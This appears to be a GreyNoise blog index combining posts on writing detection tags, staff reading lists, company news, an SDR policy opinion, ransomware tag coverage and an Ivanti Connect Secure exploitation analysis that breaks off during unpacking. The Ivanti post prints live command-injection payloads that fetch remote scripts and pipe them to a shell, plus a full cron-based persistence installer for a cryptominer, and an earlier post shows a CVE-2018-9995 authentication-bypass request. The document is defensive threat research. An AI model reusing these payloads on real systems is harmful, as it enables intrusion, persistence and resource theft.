Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Anatomy of a GreyNoise Tag

Tags allow users to see the GreyNoise data from a non-IP-centric view. The difference between how we view tags from an IP-Centric perspective and a non-IP-Centric perspective can be seen in the differences between the visualizer’s Today and Tags view.

At the time of writing this, the Today view gives us a list of a list of 348,125 IPs, all seen within the last day. Each of these IPs contains different data points like the Source Countries, Destination Countries, ASN, and Top Tags. Approaching the data in this way shows IPs that contain tags. This lets users get a general overview of the characteristics 283,765 machines have shared over the past 24 hours. This is useful and fun information when trying to see the overarching landscape. However, when in need of a blocklist or alert about IPs that may be targeting a specific piece of software or hardware that your network contains, this is an instance where tags come in handy. This is because when looking at GreyNoise data from the visualizer’s Tags view, tags have IPs attributed to specific things that users may be interested in rather than just the IPs themselves. For example, if you’re using Cisco routers, you might go to the Tags view and just query Cisco, resulting in a list of tracked events related to Cisco devices.

The hope is that this design results in an experience more like Googling and less like writing an SQL query to find things that may interest users.

To reiterate, the technical goal of tags is to sort the data from outside the scope of the IP, and this is where GreyNoise classifications come into play. Classifications are split into Intent and Category. Intent is divided into Unknown, Malicious, and Benign, and Category is divided into Activity, Tool, Actor, Worm, and Search Engine. These sets are not limited to CVE based activity. They include behaviors, attribution, and unique traffic characteristics.  This is what the bulk of GreyNoise tags boils down to: either tracking “behaviors,” like in the case of Malicious Activity, and “attribution,” like in the case of a Benign Actor. What’s particularly interesting about these two examples is that there shouldn’t be any overlap between them. When there is, that indicates the potential need to rewrite a tag, which leads to the topic you’ve probably all been waiting for: how a tag gets written.

A Malicious Activity and Benign Actor tag work well as examples because of the difference in how they’re tracked. A Malicious Tag is heavily based on the contents of captured web packets (pcap). In contrast, a Benign Actor tag will ideally be based on an IP list, and when that can’t be gathered, a combination of rDNS and ASN will be used if these variables are consistent. This makes writing a Benign Actor tag the most straightforward, and typically most time intensive of the two.

Writing a Benign Actor starts with finding an actor. This is usually suggested by consistent rDNS with a word like bot, scanner, or crawl in its name. We can easily search this in the viz with metadata.rdns:crawl. This returns a lot of GoogleBot hits. Refine the search some more: metadata.rdns:crawl -actor:”GoogleBot” and we can see some crawlers and actors that have not been tagged yet.

That first unknown IP in the list has as its rDNS. The next question is, have we seen other IPs with dataproviderbot, or something like it, as it’s rDNS, and if so, are they also benign? A search for metadata.rdns:*dataprovider* will work.

There is no malicious activity to speak of, so they seem benign. This can be verified by trying to find any information about the source. Following the rDNS trail is a good start. The initial crawl link times out, but the parent rDNS resolves to They seem like a good candidate for a Benign Actor tag, but before reaching out, it’s always worth checking if a tag already exists, and to my surprise, it does: 

However, we don’t seem to be getting any hits for it. After reviewing the query we’re running on the backend, it looks like we’re tagging based on rDNS, but it’s not a match for what we’re seeing. They must have changed their crawler’s name! This is going to need some further investigation. A Google search for dataproviderbot leads to a page about their crawler specifically. Looks like they identify themselves with a User-Agent: 

The spider identifies itself with a user agent, which makes it visible in logs and site statistics programs you may use. Look for the following agent:"Mozilla/5.0 (compatible;"

This won’t do because User-Agent’s can be easily spoofed. Fortunately, they have a contact link just for questions about the bot! At this point, I would usually just reach out to them, verify that the traffic we’re seeing is theirs, and ask if they can share their IP list. If they cannot share this, it does seem that we may have had enough information to write a tag for tracking them—the search for metadata.rdns:*dataprovider* done earlier had some promising results that I hadn’t mentioned.

This information and what we know about their User-Agent and rDNS could suffice.

When tagging this benign actor without an IP list, the primary points of interest are ASN, ORG, and rDNS. The only thing we might consider grabbing from the PCAP’s data field in this case would be the User-Agent. However, when tracking Malicious Activity, or Activity in general, we primarily focus on the data field of PCAP.

Here’s a scrubbed packet that matches a tag I wrote:

GET /device.rsp?opt=user&cmd=list HTTP/1.1
Connection: close
Accept: */*Accept-Encoding: gzip, deflate
Connection: close
Cookie: uid=adminUser-Agent: Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0

What information can we gather from this? When discussing this event, we can translate it to: “This is an HTTP GET request requesting the device.rsp endpoint on the server. The GET request queries for opt=user&cmd=list and the contents of its Cookie is uid=admin.” Experience and a basic understanding of standard protocols are a considerable help when recognizing anomalies or notable features of a web packet. We can't all have experience, but a plain-text protocol like HTTP has plenty of resources to help us understand what’s going on in this packet. This basic understanding allows us to infer the request for /device.rsp?opt=user&cmd=list and the user=admin cookie are likely part of an authentication bypass, making them defining features of this packet. We can check this with a Google search for allintext:”/device.rsp?opt=user&cmd=list”. And what do you know!? The first hit is for CVE-2018-9995; the description of this vulnerability makes it pretty clear we’ve found our match!

allow remote attackers to bypass authentication via a "Cookie: uid=admin" header, as demonstrated by a device.rsp?opt=user&cmd=list request that provides credentials within JSON data in a response.

This is an excellent time to pause and point out that the intention of tags is not only to generate data regarding a vulnerability but also to aid in the proliferation of related knowledge. This is achieved through the tag’s description and providing resources found in the research process. Once we’ve added these, we can form a query to search GreyNoise for similar packets. This is one of the more nuanced aspects of writing tags. Finding the balance between making the signature general enough to catch variations of the same event but specific enough so there are no false positives. An accurate query to the internal GN data set for this event would look something like this:

select * from packets where data like 'GET /device.rsp~?opt=user&cmd=list%user=admin%' escape '~'

The query for this event is pretty straightforward, but in many cases, exploitation may work regardless of capitalization or order of request operands like opt and cmd. In these cases, the query has to be adjusted accordingly.

If you have any more questions about detection engineering and how we write tags here at GreyNoise, please feel free to reach out to me via email or socials: @h0wdy! Also! Please don’t hesitate to message me if you’re new to hacking! I’m also just starting my journey, and I am always down to connect and share knowledge with my fellow n00bs! <3 

Bluetooth Unleashed: Syncing Up with the RattaGATTa Series! Part 1

Are you ready to dive into the fascinating world of Bluetooth Low-Energy (BTLE) and its implications for privacy and security? GreyNoise Labs is thrilled to present the first installment of our series, "RattaGATTa: Scalable Bluetooth Low-Energy Survey." This blog post is not just a narrative—it's an adventure into the intricacies of BTLE, the challenges of hardware and radio frequency, and the importance of rate-limiting algorithms.

Join Remy as he recounts the journey from a simple act of kindness—using BTLE to locate a lost Fitbit—to the development of a sophisticated system capable of identifying and cataloging BTLE devices. Discover the complexities of the domain, the hurdles in measuring security impacts, and the tools that can provide quantitative and qualitative measures. This is a tale of technology, cybersecurity, and the quest for understanding a technology that surrounds us invisibly yet significantly.

In this series, he'll explore the depths of BTLE, from the basics of device identification to the nuances of connection protocols. He'll share insights on custom hardware design, iterative software development, and the real-world challenges that come with radio frequency communications. Whether you're a cybersecurity professional, a tech enthusiast, or simply curious about the wireless world around you, this series promises to enlighten and engage. Stay tuned for more as we unravel the mysteries of Bluetooth Low-Energy together.

Check out the first blog in this series here.

What We're Reading: February 2024

Welcome to our Monthly Roundup, where we curate a unique mix of articles, books, podcasts, and more that have captured the attention of the GreyNoise team. From deeply technical articles to literary treasures, join us on this eclectic journey through the media that sparks our curiosity each month. Explore + discover as we share the gems that have fueled our inspiration!

Bob Rudis // VP Data Science & Research

⚡  Book Series: CyberStorm | Matthew Mather 

TLDR: The premise is to demonstrate the catastrophic consequences of cyber warfare in a modern-day, fictional setting. The series starts with "CyberStorm," and is centered around a blizzard that's compounded by a cyber attack. Mather uses it to explore the fragility of urban life when faced with the breakdown of logistical systems and the ensuing chaos that disrupts the fabric of civilization.

In "CyberSpace," the story picks up six years after the events of "CyberStorm," with the original protagonist reuniting with old friends amidst rising international tensions and a new wave of satellite destruction that cripples global communication. "CyberWar" concludes the series with a depiction of the world's militaries struggling to cope with the aftermath of a Chechen separatist attack that has decimated thousands of satellites, leading to widespread power and communication failures. It does require some suspension of disbelief, but it's not "farcical" and would likely be a good read for cyber folk. The narration in the audiobooks is 👍

Abigail Whidden // VP Sales

🤬  Book: Plunder: Private Equity's Plan to Pillage America | Brendan Ballou

Thoughts: If you ever wonder why everything's fucked in Housing, Healthcare, Retail, Prisons, Income Inequity- this book will shine a light on the people screwing up America and how the government made it easy for them. They gobbled up your houses and affordable/quality healthcare, and now they're trying to get their grimy paws on your 401K (I'm feeling...angry but informed). [ Editor was told not to remove profanity, that’s how worked up this book has gotten her] 

Guillermo Menjivar // VP Engineering

🚂  Book: Staff Engineer: Leadership Beyond the Management Track | Will Larson

Thoughts: I Love Will Larson's insight. He has given so much insight into how effective Engineering organizations should run. Staff Engineer focuses on the technical leadership career track.

📚  Book: Management of Organizational Behavior Leading Human Resources | Paul Hersey

Why I like it: If you ever thought that "good management" is just a "gift" or something people just get. This "textbook" (Yes, I read textbooks for fun 🤓) breaks down mgmt into system-level constructs. One of the best books I have read in a long time. 

Brianna Cluck // Researcher

🎵  Book: The Women in Me | Britney Spears 

Why I like it: I've always felt like there was more to her story than what I saw on the news, and it turns out that was true in ways that make me want to drop kick half the music industry into the sun.

💥  Podcast: Smashing Security | Graham Cluley + Carole Theriault

Why I like it: I make it a point to listen to Smashing Security. It's equal parts useful security news and funny quips. 

🕵️  Book: Extreme Privacy: What It Takes to Disappear + Book: OSINT Techniques: Resources for Uncovering Online Information | Michael Bazzell

Why I like it: I am reading both of these books at the same time, I like to play both sides, so I always end up on top. These books are great if you want to feel just a little bit paranoid

Ronnie Villarini // Senior Software Engineer

🥸 Book: The Imposter's Handbook | Rob Conery

Why I like it: As a college dropout and "self-taught" dev, I've always felt like a bit of an outsider when folks start talking about computer science topics. This has been filling in those gaps in a really approachable way that I feel will make me a better engineer in the end.

🕶️  Podcast: Darknet Diaries | Jack Rhysider

Why I like it: Continuously binging this podcast, which probably doesn't need an explanation to anyone who's going to be reading this lol. 

Sam Houston // Senior Community Manager

💰 Podcast: BG2 Pod // Ep2 | Bill Gurley + Brad Gerstner 

Why I like it: If you're interested in the tech market and enjoy financial analysis from insiders, check out this new podcast from VC investors Bill Gurley & Brad Gerstner. I'll shoutout the episode with Box's CEO/cofounder Aaron Levie as especially interesting and entertaining. 

Derek Athy // Regional Sales Manager

🔬 Book: Homo Deus: A History of Tomorrow | Yuval Noah Harari

Thoughts: My former genetic engineering self revels in Sapiens’ ending on essentially the intro of RNAi and CRISPR into the realm of medicine, Homo Deus is more on the “what’s going to happen next” for humans with the continued advancement of technology (not just medicine). 

(Bonus Article: in case anyone wants to nerd out on those RNAi days of mine when my friends referred to me as the “Lord of the Flies.”)

Practical Vulnerability Archaeology Starring Ivanti's CVE-2021-44529

While everybody has been talking about Ivanti vulnerabilities such as CVE-2024-21887 (remote code execution via path traversal - our tag) and CVE-2024-21893 (remote code execution via server-side request forgery - our tag), our labs' team ran into some online discussions about CVE-2021-44529. According to Ivanti's advisory), it's due to "code injection," but online sources claimed it's actually a backdoor. A mystery!   

In a brand new GreyNoise Labs Grimoire blog, Ron pulls out his archaeology tools and investigates what little evidence of this vulnerability remains. While most details have been flushed down the memory hole, tools like the Wayback Machine still have archives that we can explore.

Would you like to know more? Check out the blog!

We’ve hired Ash Devata as CEO at GreyNoise, and I get my dream job.

I started GreyNoise in 2018 by myself in an apartment in Arlington, Virginia to bring visibility into what scanners and attackers were up to on the Internet. My theory at the time was that the edge telemetry from a single internet-exposed device or sensor was not useful or interesting, but the edge telemetry of a large, diverse set of internet-exposed devices or sensors would tell really interesting stories in aggregate. Better yet, I figured if this feed of data was enriched and analyzed properly and was directly integrated into the tools being used by security analysts around the world, they would have more context on the threats they were responsible for defending their organizations against. 

The first pain point this approach solved for customers was alert fatigue: Security analysts could now easily “subtract” all the internet noise, automated attacks, and benign scanners from the attacks targeting their networks, giving them a cleaner signal of which targeted attacks to focus on. I closed a handful of customers for this use-case, raised some money, and hired a small team of incredibly talented people. Since then, GreyNoise has launched community and enterprise products that are trusted by tens of thousands of security practitioners, our customer-base includes over 150 of the most advanced organizations in the world, and our team has grown to over 50 of the smartest people I’ve ever known. We’re integrated into the most widely deployed security products and are cited by government intelligence agencies and news media on a near weekly basis.

As we continued to refine the security efficiency use-case at GreyNoise, a second use-case started to emerge:  Every time a critical software vulnerability was disclosed, security analysts were left in the dark about whether attackers were actually exploiting it in the wild or not. Simultaneously, many of the times this would happen, we would start to see interesting new shapes and patterns show up in our raw sensor data. At first, this happened a few times per year. Now this happens every week. 

Initially, we would detect in-the-wild exploitation by luck. But this use-case quickly became the most frequently asked by customers, as it was something they were not getting fast enough or clearly enough from their other vendors. So, at GreyNoise we started investing in new approaches that would enable us to consistently detect in-the-wild exploitation of software vulnerabilities within minutes. Not once, or twice, but every single time. We re-invented our core sensor and data processing architecture, deployed sensors to hard-to-reach places, and partnered with other security companies to get further and further ahead of attackers. 

Entering 2024, a few things feel different:

  • Our business and employee-base is bigger now than I have imagined in 2018.
  • Critical vulnerabilities in widely-deployed software are being disclosed faster than ever.
  • A critical mass of our customers are asking for our help to keep their networks safe, not just make their security teams more efficient.
  • AI changes the equation in ways we don’t yet fully understand.

These are all really hard problems. As such, last year I started looking for a partner to take over the business so I could focus on the things I’m uniquely passionate about. I found that partner in Ash Devata.

Ash is relentlessly customer and employee-focused. His reputation in the security industry is phenomenal, and his experience at the intersection of technology and business is unbeatable. I could not be more grateful or excited to partner with him to continue growing GreyNoise. I’ve spent the last few months getting to know Ash and, after every conversation or dinner we’ve had, I am more and more impressed with his outlook and thoughtfulness. Ash is joining us from Cisco where he was Vice President and General Manager for the Duo and Zero Trust business. He joined Cisco by way of acquisition from Duo where he built and ran a world-class Product organization since the early days of Duo. Ash’s brain and my brain are very different, but our hearts are very much the same. 

Moving forward, I’ll be stepping into the role of Chief Architect at GreyNoise. My job will be to drive technical innovation specifically to stay ahead of cyber attackers, evangelize our products to the security community, set and implement our AI strategy, trawl through our data to document and understand attacker tactics, and be the first and most critical user and customer of our own products. It’s literally my dream job. 

My ask to all of our customers, users, partners, and followers is that you greet Ash as warmly as you have always greeted me. 

I have never been as excited as I am now about the future of GreyNoise and serving the broader security community. 


Andrew Morris

Founder, Chief Architect


Governments Have Zero Reason To Be Flipping Mad About Open Source SDR Tech

Software-defined radio (SDR) technology has been a transformative force in the world of wireless communications, enabling users to transmit and receive radio signals across a wide range of frequencies using software-controlled hardware. However, this innovative tool has recently come under scrutiny in Canada due to its misuse in auto thefts. As researchers at GreyNoise, we believe that the Canadian government's response to this issue, which leans towards a ban on open-source SDR technology, is not only harsh but also ineffective.

The Canadian government's recent actions, as outlined in the "Federal action on combatting auto theft" document, focus on — in theory — enhancing the capacity of the Canada Border Services Agency (CBSA) to combat auto theft. However, this policy indirectly touches upon the broader implications for SDR technologies. It mentions the goal of banning devices used to steal vehicles by copying wireless signals for remote keyless entry, which could include devices like the Flipper Zero.

The same hardware components and features that make a Flipper Zero are those found in nearly every modern mobile phone, and other consumer-grade devices. It is more than a stretch to blame any problems solely on the availability of such components under the brand name of “Flipper Zero” rather than, say, Apple/Samsung, or more directly comparable devices, such as the Lime SDR.

Open-source SDR hardware and software have revolutionized modern radio communications, enabling innovation and democratizing what had previously been expensive and proprietary. SDRs are capable of performing a wide range of communication functions that were traditionally executed by hardware components. Thanks to this innovation, we can now use software to access any part of the spectrum in any way. This has enabled rapid adaptation of new communication standards and technologies without the need for physical modifications or replacements of the radio hardware.

Banning or severely restricting this technology will stifle innovation and hinder new development. SDRs play a crucial role in research and development within telecommunications, as they help foster testing and development of new protocols and systems efficiently and — even more importantly — cost-effectively.

Moreover, SDRs are instrumental in security research, allowing cybersecurity professionals to analyze and understand wireless communications, including potential vulnerabilities. This knowledge is crucial for developing more secure communication systems.

The auto industry and other industries that rely on electronic locks and remote keyless entry systems are absolutely potential targets for exploitation using SDR technology. However, the solution should not be to ban or overly restrict SDRs, but to enhance the security of these systems. Industries using electronic locks should invest in robust security measures, including encryption and secure authentication protocols, to safeguard against unauthorized access.

Rather than impose overly broad restrictions on technologies like SDR, which 100% have legitimate and beneficial uses, efforts should focus on enhancing the security of vulnerable systems. This includes:

  • Implementing Strong Encryption: Ensuring that all wireless communications, especially those used in critical systems like automotive locking mechanisms, are protected by strong encryption to prevent unauthorized interception and manipulation.
  • Secure Authentication Protocols: Adopting secure authentication methods that resist replay attacks and other common tactics attackers use.
  • Regular Security Audits: Conduct regular security assessments to identify and mitigate potential vulnerabilities in wireless communication systems.
  • Public-Private Collaboration: Encouraging collaboration between government agencies, industry stakeholders, and the cybersecurity community to share knowledge and best practices for securing wireless communications.

While government officials may view this new policy as an “easy button” way out of a current threat, it is far from a panacea and will not solve the problem.

Why not treat the current situation as a simple “recall” problem? Automobiles regularly have systemic issues that require a recall and manufacturer remediation. Rather than criminalize a technology category essential to future innovation (this policy would not be limited to just the “Flipper Zero”), have the manufacturers design a more secure solution and issue a recall. This makes future wireless security systems more robust and protects the owners and operators of current technology.

By focusing on enhancing vehicle security, the government can protect consumers without stifling the growth and development of open-source technologies that have far-reaching benefits. It is crucial to strike a balance between security and innovation, ensuring that the measures taken do not inadvertently harm the broader tech community and the positive advancements it brings to society.

Battling Ransomware One Tag At A Time

In October 2023 — as part of the Ransomware Vulnerability Warning Pilot (RVWP) — CISA began tagging entries in their Known Exploited Vulnerabilities (KEV) catalog. This field designates whether exploits for a given vulnerability are known to be used in ransomware attacks. Ransomware has disrupted critical services, businesses, and communities worldwide, and many organizations are working diligently to get ahead of these attacks to prevent losses, disruptions, and exposures.

We’ve talked about this topic before, but today we dig a bit deeper into the topic with some specific guidance as to how your organization can fight the good fight against these foes by leveraging the power of GreyNoise tags.

GreyNoise Tags vs. Ransomware

As scores of organizations who use them know, GreyNoise tags are a signature-based detection method that categorizes internet noise into actionable intelligence. As of this writing, we’ve observed recent activity in 63 tags that CISA has identified as being used in association with ransomware attacks. The figure at the beginning of this post shows the frequency and volume of this opportunistic activity. One striking feature of this activity is the diversity of targeted platforms.

In the case of internet-facing attack campaigns, one might assume that vulnerabilities targeted by ransomware actors would lean towards remote access technologies. The chart and our data that backs it up shows that almost no technology category is safe from these types of attacks. Collaboration tools, such as Atlassian Confluence or JetBrains TeamCity; email platforms, such as Microsoft Exchange; software that powers application middleware services, such as Jboss and WebLogic; or, even devices that are intended to help elevate safety and resilience, such as SonicWall, Ivanti, Citrix, and Fortinet are all regularly targeted.

If you use any of these technologies, knowing when new activity is seen can be helpful in shoring up defenses and readying response activities. By leveraging GreyNoise platform features, such as our Alerts and block lists, security teams can, respectively, determine if more focus should be placed on monitoring key systems and preventing opportunistic harm. With the noise weeded out, response teams can focus their attention on similar activity that is likely to be more targeted, which may also mean by more capable adversaries. And, because we play incredibly well with a host of other security tools, teams can also save time, and use our intelligence within familiar environments.

The Long, Sporadic Tail Of Ransomware Tag Activity

Another striking feature of our ransomware tag activity chart is the diversity of activity. Cloud deployments top the list, with attackers looking to take advantage of misconfigurations that may arise in these highly dynamic environments. Broad and commonly deployed technologies are also regular targets, since these systems can also become victims of errant misconfigurations, especially when restored from unpatched backups.

However, as we move down the list, the frequency becomes far more sporadic, and many involve only single hosts vs. botnet armies. This can be due to attacker familiarity, or individual actors keying off results from well-timed Censys or Shodan searches that show newly exposed vulnerable configurations. If your organization uses any of these components, there truly is no rest from vigilance.

The Ransomware GNQL Listicle

To help defenders get a leg up on these attacks, the list below has links to each individual tag that’s known to be used in ransomware attacks. At each tag page, you can find the block list URL which you can use to immediately weed out the opportunistic noise. Wrap one or more of them inside a GNQL query, such as tags:"F5 BIG-IP iControl RCE Attempt", and you can set up an alert to notify you when new activity is seen, especially in generally dormant tags.

Find Out More

If you're curious as to just how GreyNoise researchers craft our tags we have a three-part webinar series that discusses the makeup of our tags, walks you through how we discover what needs to be tagged, and illustrates how AI is empowering the creation of new tags and detections:

Not a GreyNoise customer — yet? See how much time GreyNoise may be able to save your organization, and how many hours your defenders can save with our ROI calculator.

Sign up and take our platform for a free enterprise trial to see all the features and data available.

What We're Reading: January 2024

Welcome to our Monthly Roundup, where we curate a unique mix of articles, books, podcasts, and more that have captured the attention of the GreyNoise team. From deeply technical articles to literary treasures, join us on this eclectic journey through the media that sparks our curiosity each month. Explore + discover as we share the gems that have fueled our inspiration!

Andrew Morris // Founder + CEO

 🧠 Book: Memories, Dreams, Reflections | Carl Jung

 ⚖️ Audio Book: Oath and Honor | Liz Cheney

TL;DR: Never thought I’d read a book by Liz Cheney, but here I am. 

Bob Rudis // VP Data Science & Research

🫧 Article: Introducing the Data Cleaning Day | Madeline Spinks 

TL;DR: The team learned valuable lessons from the experience, such as the satisfaction of decluttering, discovering tech issues with file sharing, and improving version control. They recommend planning the event well in advance, involving team members in identifying priorities, and considering including training elements for better file management.

💰 Article: New Ransomware Reporting Requirements Kick in as Victims Increasingly Avoid Paying | Coveware

TL;DR: Coveware's new report discusses the ongoing debate surrounding ransomware payment bans and their effectiveness

Nick Roy // Director Sales Engineering 

🔎 Article: Analyzing Honeypot Data with Sentinel | Martin Rothe

Why I like it: Now that we have a new Sentinel integration, I've been using it more and more (sorry Splunk!). One of the first things that I needed to do was get some data in to learn how to actually write a KQL query instead of just copying and pasting and hoping that it works. I've been using this blog by Martin Rothe to get honeypot and Suricate data into Sentinel to start building out some pretty slick dashboards.

Cesar Lara // Sales Development Manager

💼 Podcast: Business Wars | David Brown

Why I like it: Business Wars is an entertaining and informative storytelling of the historical milestones of two corporations competing with each other. I love it for long car rides especially. They have covered a VARIETY of wars. They range from things like “Nintendo vs. Sega vs. Microsoft”, “Starbucks vs. Dunkin” , “Covid Vaccine Wars” and “Crypto Wars”

Martin Awabdeh // Sr Associate, Growth

👟 Audio Book: Shoe Dog | Phil Knight

Why I liked it: Listened to this audiobook on my morning walks. The challenges that Nike faced, the great team that Phil built, and the singular focus and determination he had in the early days of Nike resulted in a captivating and entertaining read.

Decoding Mass Exploitation in 2023: A GreyNoise Perspective

The GreyNoise Labs team recently released a report on stats and trends the research team observed over the course of 2023. Here's a breakdown of some of the key elements gleaned from the data, with much more to be found in the original tome.

Overall Impressions From 2023

In 2023, our massive network of fake computers and services continued to lure attackers into revealing their tactics. Throughout the year, our researchers and platform helped provide many useful insights for the cybersecurity community. We do this simply to make the internet a safer place. This year saw our epic community increasingly institutionalize our observations, with our fellow security vendor partners integrating more of our data than ever. Government agencies and news media regularly cited our observations, a testament to the value of our work.

However, 2023 also marked the first time we directly observed attackers deliberately changing their behaviors to avoid our specific detection capabilities. We also noted that the time between software vulnerabilities becoming public and attackers using them at large scale continues to decrease. Yet, our approach to respond continues to be effective. In 2024, and beyond, we will continue to make our detection network larger and smarter, and share the attacker behaviors we observe with the world as quickly as possible.

Notable Exploits of 2023

Among the 242 Common Vulnerabilities and Exposures (CVEs) we covered in 2023, some stood out for their impact. The Progress MOVEit Transfer SQL Injection Vulnerability (CVE-2023-34362) was exploited by the Cl0p ransomware group, leading to data breaches in over 2.6K organizations and affecting ~90 million individuals. The Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability (CVE-2023-4966; a.k.a., CitrixBleed) allowed threat actors to hijack authenticated sessions, bypassing multifactor authentication and password requirements. And, the PaperCut MF/NG Improper Access Control Vulnerability (CVE-2023-27350) was exploited by the Bl00dy Ransomware Gang, targeting vulnerable PaperCut servers, particularly within Education, but also in other sectors.

GreyNoise and CISA KEV: A Symbiotic Relationship

GreyNoise researchers are huge fans of CISA’s Known Exploited Vulnerabilities (KEV) catalog. In 2023, 67 of our tags had corresponding entries in CISA’s KEV catalog, 34% of which were also known to be associated with ransomware attacks. We meet or beat CISA nearly 63% of the time when it comes to having a published tag for a CVE that enters their catalog. This makes it much easier for federal agencies to meet or exceed remediation time requirements. It’s also helpful in the same way if your organization is tracking with KEV.

The Reality of Spillover in Nation State Conflicts

We cannot let 2023 go into the record books without some mention of the part that nation state conflicts have had on the mass exploitation landscape. The present major conflicts between Russia/Ukraine, Israel/Hamas, and other regional hostilities play out in both kinetic/physical (guns/bombs) and cyber fields. The evolution of nation state conflicts is also putting virtually every organization in the crossfire. No matter where adversaries aim their attacks, GreyNoise is there. No matter how many packets they sling, our systems analyze them instantly, enabling us to identify and communicate even the oddest trends and anomalies.

Want To Learn More?

The GreyNoise platform, including our aforementioned vast sensor network, is designed to identify these probes and attacks with pinpoint precision at the very moment they occur. This gives defenders the tools and data they need to stop attacks before they start, plus buy time to focus on patching, mitigation, and response.

Dive into our report and don't hesitate to drop us a note or question in our community Slack or via email (

The Confusing History of F5 BIG-IP RCE Vulnerabilities

In our latest Grimoire post, Ron dives into the confusing web of F5 BIG-IP vulnerabilities. It all started when he found an untagged shell-injection exploit in Sift that looked like—but wasn't—CVE-2021-22986 (a well-known SSRF bug); it was, however, discussed in many of the same write-ups as CVE-2021-22986. But if it's not the SSRF issue, what IS it? Ron works backward and identifies each of the recent F5 BIG-IP vulnerabilities as they're seen on our sensors and uses some advanced sleuthing skills—including talking to the folks who originally wrote about these issues—to track down the mysterious shell-injection vulnerability.

While investigating old F5 vulnerabilities, he found other interesting bits of history. For example, did you know that the CVE-2021-22986 patch fixed two similar (but different) vulnerabilities? And that neither was the shell injection? Or, did you know that there's an intended method for running Linux commands (as root!) against the F5 BIG-IP management port, which is commonly leveraged by authentication bypass issues? We even demonstrate using that built-in (mis?)-feature to escalate any local user to root.

If you want to know way too much about attacks against F5 BIG-IP devices, then this is the blog for you!

Tags referenced:

CVE-2021-22986 - Authentication Bypass via SSRF

CVE-2022-1388 - Auth Bypass via Header Smuggling

CVE-2021-23015 - Post-authentication RCE via Command Injection

CVE-2022-41800 - Post-authentication RCE via .rpmspec Injection

n/a - Post-authentication RCE via /mgmt/tm/util/bash

Ivanti Connect Secure Exploited to Install Cryptominers

One of my favorite things to do each morning is to look at the significant recent vulnerabilities that I found interesting - right now, my list is Ivanti Connect Secure, Atlassian Confluence, Apache Ofviz, SnakeYAML, etc., to check our honeypots to see if any new exploits have dropped since last time. And oh boy, was I rewarded this morning when I checked Ivanti! The overwhelming majority of what we see daily is scanners scanning honeypots and honeypots luring scanners - a security Ouroborus, if you will - but thanks to our new sensors, we have much more insight into what "real" attackers are trying. Let's see what turned up when I lifted the Ivanti rock this morning!

Note: I'm censoring IPs / users in the requests to defang them, but I included them at the bottom in case you want to block them.


These payloads are all leveraging a pair of vulnerabilities in Ivanti Connect Secure - CVE-2023-46805 and CVE-2024-21887, written about here, and with a public exploit available. You can also see the exploitation picking up on our tag.

Payload 1

Here's the first payload that caught my eye:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3b%77%67%65%74%20%2d%2d%74%69%6d%65%6f%75%74%3d%32%30%20%2d%2d%6e%6f%2d%63%68%65%63%6b%2d%63%65%72%74%69%66%69%63%61%74%65%20%2d%71%20%2d%4f%2d%20%68%74%74%70%73%3a%2f%2f[ip]%2f%69%76%61%6e%74%69%2e%6a%73%7c%73%68%3b%0a HTTP/1.1
Host: [ip]
User-Agent: curl/7.81.0  
Accept: */*

Which decodes to:

api/v1/totp/user-backup-code/../../license/keys-status/;wget --timeout=20 --no-check-certificate -q -O- https://[ip]/ivanti.js|sh;\n"

As of writing, that file is live and installs a persistent backdoor using cron:

name1=`date +%s%N`
wget --no-check-certificate ${url} -O /etc/$name1
chmod +x /etc/$name1
echo "*/10 * * * * root /etc/$name1" >> /etc/cron.d/$name1

name2=`date +%s%N`
curl -k ${url} -o /etc/$name2
chmod +x /etc/$name2
echo "*/10 * * * * root /etc/$name2" >> /etc/cron.d/$name2

name3=`date +%s%N`
wget --no-check-certificate ${url} -O /tmp/$name3
chmod +x /tmp/$name3
(crontab -l ; echo "*/10 * * * * /tmp/$name3") | crontab -

name4=`date +%s%N`
curl -k ${url} -o /var/tmp/$name4
chmod +x /var/tmp/$name4
(crontab -l ; echo "*/10 * * * * /var/tmp/$name4") | crontab -

while true
	chmod +x /etc/$name1
	sleep 60
	chmod +x /etc/$name2
	sleep 60
	chmod +x /tmp/$name3
	sleep 60
	chmod +x /var/tmp/$name4
	sleep 60

Advice: Check for files that look like /etc/<long number>, /tmp/<long number>, or /var/tmp/<long number>, and check your crontab files for odd entries

The payload it fetches is a 64-bit executable:

$ file backdoor 
backdoor: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

What does the backdoor do? Let's take the lazy approach - strings:

$ strings -n10 backdoor
[...lots and lots of junk...]
Usage: ispdd [OPTIONS]
  -o, --url=URL                 URL of mining server
  -a, --algo=ALGO               mining algorithm
      --coin=COIN               specify coin instead of algorithm
  -u, --user=USERNAME           username for mining server
  -p, --pass=PASSWORD           password for mining server
  -O, --userpass=U:P            username:password pair for mining server
  -x, --proxy=HOST:PORT         connect through a SOCKS5 proxy
  -k, --keepalive               send keepalived packet for prevent timeout (needs pool support)

Aha, a bitcoin miner!

Payload 2

Next up, this payload:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bwget%20https%3a%2f%2fraw%2egithubusercontent%2ecom%2fmomika233%2ftest%2fmain%2fm%2esh%20%26%26%20chmod%20%2bx%20m%2esh%20%26%26%20bash%20m%2esh HTTP/1.1  
Host: [ip]  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36  
Connection: close  
Accept-Encoding: gzip

Which decodes to:

/api/v1/totp/user-backup-code/../../license/keys-status/;wget[user]/test/main/ && chmod +x && bash

Unsurprisingly, is a shell script:

cd /tmp && wget[user]/test/raw/main/watchd0g && chmod +x watchd0g && ./watchd0g
cd /tmp && wget[user]/test/raw/main/watchbog && chmod +x watchbog && ./watchbog

Kinda weirdly, the scripts are 64-bit and 32-bit executables:

$ file watch*
watchbog: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
watchd0g: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Both files are UPX-packed (what year is this?), which is fortunately quite easy to unpack:

$ dnf install upx

$ upx -d watchbog 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
  11911882 -   4454800   37.40%   linux/i386    watchbog

Unpacked 1 file.

$ upx -d watchd0g 
